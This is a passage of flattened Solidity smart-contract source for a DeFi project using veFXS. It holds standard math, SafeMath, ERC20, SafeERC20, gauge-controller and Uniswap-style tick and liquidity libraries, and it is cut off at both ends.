LockedNFTTimeForMaxMultiplier(uint256 secs); event LockedNFTMinTime(uint256 secs); event MaxVeFXSMultiplier(uint256 multiplier); event veFXSPctForMaxBoostUpdated(uint256 scale_factor); /* ========== A CHICKEN ========== */ // // ,~. // ,-'__ `-, // {,-' `. } ,') // ,( a ) `-.__ ,',')~, // <=.) ( `-.__,==' ' ' '} // ( ) /) // `-'\ , ) // | \ `~. / // \ `._ \ / // \ `._____,' ,' // `-. ,' // `-._ _,-' // 77jj' // //_|| // __//--'/` // ,--'/` ' // // [hjw] https://textart.io/art/vw6Sa3iwqIRGkZsN1BC2vweF/chicken } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma abicoder v2; interface IveFXS { struct LockedBalance { int128 amount; uint256 end; } function commit_transfer_ownership(address addr) external; function apply_transfer_ownership() external; function commit_smart_wallet_checker(address addr) external; function apply_smart_wallet_checker() external; function toggleEmergencyUnlock() external; function recoverERC20(address token_addr, uint256 amount) external; function get_last_user_slope(address addr) external view returns (int128); function user_point_history__ts(address _addr, uint256 _idx) external view returns (uint256); function locked__end(address _addr) external view returns (uint256); function checkpoint() external; function deposit_for(address _addr, uint256 _value) external; function create_lock(uint256 _value, uint256 _unlock_time) external; function increase_amount(uint256 _value) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function balanceOf(address addr) external view returns (uint256); function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external view returns (uint256); function totalSupply() external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupplyAt(uint256 _block) external view returns (uint256); function totalFXSSupply() external view returns (uint256); function totalFXSSupplyAt(uint256 _block) external view returns (uint256); function changeController(address _newController) external; function token() external view returns (address); function supply() external view returns (uint256); function locked(address addr) external view returns (LockedBalance memory); function epoch() external view returns (uint256); function point_history(uint256 arg0) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_history(address arg0, uint256 arg1) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_epoch(address arg0) external view returns (uint256); function slope_changes(uint256 arg0) external view returns (int128); function controller() external view returns (address); function transfersEnabled() external view returns (bool); function emergencyUnlockActive() external view returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint256); function future_smart_wallet_checker() external view returns (address); function smart_wallet_checker() external view returns (address); function admin() external view returns (address); function future_admin() external view returns (address); } pragma solidity >=0.6.11; // https://github.com/swervefi/swerve/edit/master/packages/swerve-contracts/interfaces/IGaugeController.sol interface IFraxGaugeController { struct Point { uint256 bias; uint256 slope; } struct VotedSlope { uint256 slope; uint256 power; uint256 end; } // Public variables function admin() external view returns (address); function future_admin() external view returns (address); function token() external view returns (address); function voting_escrow() external view returns (address); function n_gauge_types() external view returns (int128); function n_gauges() external view returns (int128); function gauge_type_names(int128) external view returns (string memory); function gauges(uint256) external view returns (address); function vote_user_slopes(address, address) external view returns (VotedSlope memory); function vote_user_power(address) external view returns (uint256); function last_user_vote(address, address) external view returns (uint256); function points_weight(address, uint256) external view returns (Point memory); function time_weight(address) external view returns (uint256); function points_sum(int128, uint256) external view returns (Point memory); function time_sum(uint256) external view returns (uint256); function points_total(uint256) external view returns (uint256); function time_total() external view returns (uint256); function points_type_weight(int128, uint256) external view returns (uint256); function time_type_weight(uint256) external view returns (uint256); // Getter functions function gauge_types(address) external view returns (int128); function gauge_relative_weight(address, uint256) external view returns (uint256); function get_gauge_weight(address) external view returns (uint256); function get_type_weight(int128) external view returns (uint256); function get_total_weight() external view returns (uint256); function get_weights_sum_per_type(int128) external view returns (uint256); // External functions function commit_transfer_ownership(address) external; function apply_transfer_ownership() external; function add_gauge( address, int128, uint256 ) external; function checkpoint() external; function checkpoint_gauge(address) external; function global_emission_rate() external view returns (uint256); function gauge_relative_weight_write(address, uint256) external returns (uint256); function add_type(string memory, uint256) external; function change_type_weight(int128, uint256) external; function change_gauge_weight(address, uint256) external; function change_global_emission_rate(uint256) external; function vote_for_gauge_weights(address, uint256) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(int256(absTick) <= int256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './FullMath.sol'; import './FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = 